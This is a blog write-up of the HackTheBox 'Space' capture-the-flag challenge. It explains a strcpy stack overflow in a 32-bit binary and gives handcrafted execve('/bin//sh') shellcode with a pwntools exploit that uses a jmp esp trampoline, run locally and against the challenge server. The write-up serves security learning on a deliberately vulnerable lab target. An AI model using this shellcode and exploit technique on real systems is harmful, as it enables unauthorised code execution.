HackTheBox – Space Write-up

Dear readers,

This post is on a HackTheBox Pwn challenge called Space. It was created on 30th May 2020. Let’s go straight into the write-up.

Fig 1. The Space pwn challenge on HackTheBox

Files provided

There is only one 32-bit ELF file provided:

Besides that, an IP address to the server hosting the file is also provided.

Software required

Outlook of the file given

The outlook of the file is very basic as only an arrow character is given to us.

Fig 4a. When the program first start running

If we input some random letters and press ENTER. The program exits without any replies.

Fig 4b. Program outlook after we inputted some letters

Analysis

When I first open up the file on Ghidra, the first thing I do is to check the strings in the file. However, there is no clue or no signs of any packer used.

Next, I ran checksec on the file. The result shows that buffer overflow (BOF) is allowed since there is no canary. On stack execution is allowed since NX is disabled therefore it should not be a return-oriented programming (ROP) challenge. Therefore, it should probably be an on-stack executing payload challenge.

> checksec --file=./space
RELRO            No RELRO
STACK CANARY     No canary found
NX               NX disabled
PIE              No PIE
RPATH            No RPATH

When analyzing the file, there are two useful functions which are main() and vuln(). The program will prompt the user for input after printing the string “>” and only allow 31 (0x1f) bytes of input. This will be store in a buffer in main() that allows 31 characters of storage.

int main(void)

{
  char local_2f [31];
  undefined *local_10;
  
  local_10 = &stack0x00000004;
  printf("> ");
  fflush(stdout);
  read(0,local_2f,0x1f);
  vuln(local_2f);
  return 0;
}

The local variable local_2f is then passed into the function vuln() where the string in local_2f will be copied into vuln()‘s local variable local_12. The copying string method used is strcpy() which is an unsafe method. There is no limit set to the number of characters set that can be copied. Since variable local_2f can store up to 31 characters, variable local_12 can easily be overflowed, allowing us to perform buffer overflow and overwrite the return address of vuln().

void vuln(char *param_1)

{
  char local_12 [10];
  
  strcpy(local_12,param_1);
  return;
}

Despite we know that we need 14 characters to reach the return address of vuln(), there is usually alignment on the stack, causing more characters needed. Thus, GDB is used by inputting 14’A’s to see how many more bytes to reach the return address (including overflowing the base pointer, register EBP). We can set a breakpoint before and after strncpy() which is at address 0x080491c1 and 0x080491c6 respectively.

Fig 5a shows the stack before strcpy() is called. The red box shows the return address of vuln() while the blue box shows the start of main()‘s stack where ‘A’s filled up the variable local_2f with A’s hexadecimal, 0x41.

Fig 5a. Stack before strcpy() showing the return address and start of main()‘s stack

This return address can be compared with the address of the instruction after “call vuln()” in main() as shown in Fig 5b.

Fig 5b. Assembly instruction of “call vuln()” and after it in main()

After strcpy(), we can see that 18 bytes are required to reach the location of where vuln()‘s return address is stored (see Fig 5c). The red box shows the return address while the blue box shows the 4 bytes not overwritten with 0x41. You may notice that the value has changed from 0xffffd118 to 0xff00010a. This is because of the newline character (“\n”) which is 0xA, the start header which is 0x01, and the NULL byte at the end of strings which is 0x00. You may refer to them in the ASCII table here.

Fig 5c. After strcpy() where 14 ‘A’s are passed into vuln()‘s local_12

This shows that we only can afford 18 bytes of shellcode before reaching the return address. I tried to search for small usable shellcodes in exploitdb but none of them seems to work. I decided to craft my own shellcode which will be explained in the next section.

Crafting the shellcode

Before I craft my shellcode, I referred to a really good tutorial on GNU/Linux x86 shellcoding which you can refer to it here. Based on the tutorial, I crafted out my shellcode which can be seen below. You can easily obtain the hexadecimal of each instructions using asm(). Example: asm(“xor edx, edx”). You are see what registers are used as sys call’s argument here.

xor edx,edx        # \x31\xd2 (set that there is no 3rd arg)
push edx           # \x52     (push null byte onto stack as string terminator)
xor ecx,ecx        # \x31\xc9 (set that there is no 2nd arg)
push '//sh'        # \x68\x2f\x2f\x73\x68 (push "/bin//sh")
push '/bin'        # \x68\x2f\x62\x69\x6e
mov ebx,esp        # \x89\xe3 (set ebx, the 1st arg, with "/bin//sh\0")
push 0x0b          # \x6a\x0b
pop eax            # \x58     (set to use sys_execve)
int 0x80           # \xcd\x80

However, this shellcode requires 22 bytes which we only have 18 bytes of space before we reach the RETURN address. Luckily, there is the instruction “jmp esp” located somewhere in the space file which we can return (“jump”) to it when the address of instruction “jmp esp” is placed at the return address’s location of vuln() (similar concept as ROP). This allows us to execute shellcode located after the return address’s location. Hence, we can split our shellcode where some instructions in the shellcode will be executed first before jumping back to the start of variable local_12 the execute the rest of our shellcode. You can see Fig 6a where we can place some instructions of our shellcode in the blue box while the remainder in the red box. The green box shows where is the return address of vuln() where we can put the address of instruction “jmp esp” at that location.

Fig 6a. Locations where we can put our shellcode

Based on our shellcode created earlier, we can put instructions “xor edx, edx” and “xor ecx, ecx” after the return address’s location since it does not affect the stack’s position since no PUSH operation is involved. We can then place the remaining 18 bytes of shellcode in front.

from pwn import *

context.update(arch="i386", os="linux")

binary = ELF("./space")

# search for instruction "jmp esp" location
jmp_esp_asm = asm("jmp esp")
jmp_esp = next(binary.search(jmp_esp_asm))

exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9"

Note that inside vuln(), register RAX contains the address of variable local_12 since strcpy() returns variable local_12‘s address based on the documentation of strcpy() here.

Fig 6b. EAX not modified after calling strcpy()

As a result, we can include “jmp eax” to our shellcode to make it jump to the remaining of our shellcode which is at the start of variable local_12.

call_eax_asm = asm("call eax")	# 2 bytes

exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9" + call_eax_asm

However, our ESP is pointing to our shellcode b”\x31\xd2\x31\xc9″ which the remaining shellcode is located at the lower address. Remember that stack always grows to the lower address? The remaining shellcode that has PUSH operation will overwrite itself when PUSH occurs. Therefore, we need to add or subtract the ESP’s current value so that it will point elsewhere far from our shellcode’s location. I chose to subtract the ESP by 32 (0x20).

sub_esp_0x20_asm = asm("sub esp, 0x20")	 # 3 bytes

exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9" + sub_esp_0x20_asm + call_eax_asm

You can use GDB inside pwntools to see the shellcode on the stack. I placed the breakpoint after strcpy() to ensure the shellcode is loaded well and that I did not miscalculate the number of bytes needed.

from pwn import *

context.update(arch="i386", os="linux")

binary = ELF("./space")

# search for instruction "jmp esp" location
jmp_esp_asm = asm("jmp esp")
jmp_esp = next(binary.search(jmp_esp_asm))

# go back to vuln()'s buffer
call_eax_asm = asm("call eax")	# 2 bytes

# change the stack pointer so when shellcode push things on stack, won't overwrite our shellcode
sub_esp_0x20_asm = asm("sub esp, 0x20")	 # 3 bytes

# craft our exploit
exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9" + sub_esp_0x20_asm + call_eax_asm

r = binary.process()
gdb.attach(r, '''
break *0x080491c9
c
''')

r.sendlineafter(">", exploit)

r.interactive()

You can use the command “si” to see through the instructions especially when the shellcode is executing. This also helps in debugging if the shellcode you injected is causing a crash. In Fig 6c, we can see that the “jmp esp” is about to be executed, the 1st half of the shellcode, then the remaining shellcode.

Fig 6c. Shellcode executing on stack

Once you can run the shellcode locally on your computer, you can try it on the server.

from pwn import *

context.update(arch="i386", os="linux")

binary = ELF("./space")

# search for instruction "jmp esp" location
jmp_esp_asm = asm("jmp esp")
jmp_esp = next(binary.search(jmp_esp_asm))

# go back to vuln()'s buffer
call_eax_asm = asm("call eax")	# 2 bytes

# change the stack pointer so when shellcode push things on stack, won't overwrite our shellcode
sub_esp_0x20_asm = asm("sub esp, 0x20")	 # 3 bytes

# craft our exploit
exploit = b"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80" + p32(jmp_esp, endian="little") + b"\x31\xd2\x31\xc9" + sub_esp_0x20_asm + call_eax_asm

r = remote("139.59.167.178", 30680)

r.sendlineafter(">", exploit)

r.interactive()

You may access the full exploit source code here. You may also access the full folder of the whole challenge here.

Flag obtained

Flag: HTB{sh3llc0de_1n_7h3_5p4c3}

Fig 7. Flag obtained

I hope this post has been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.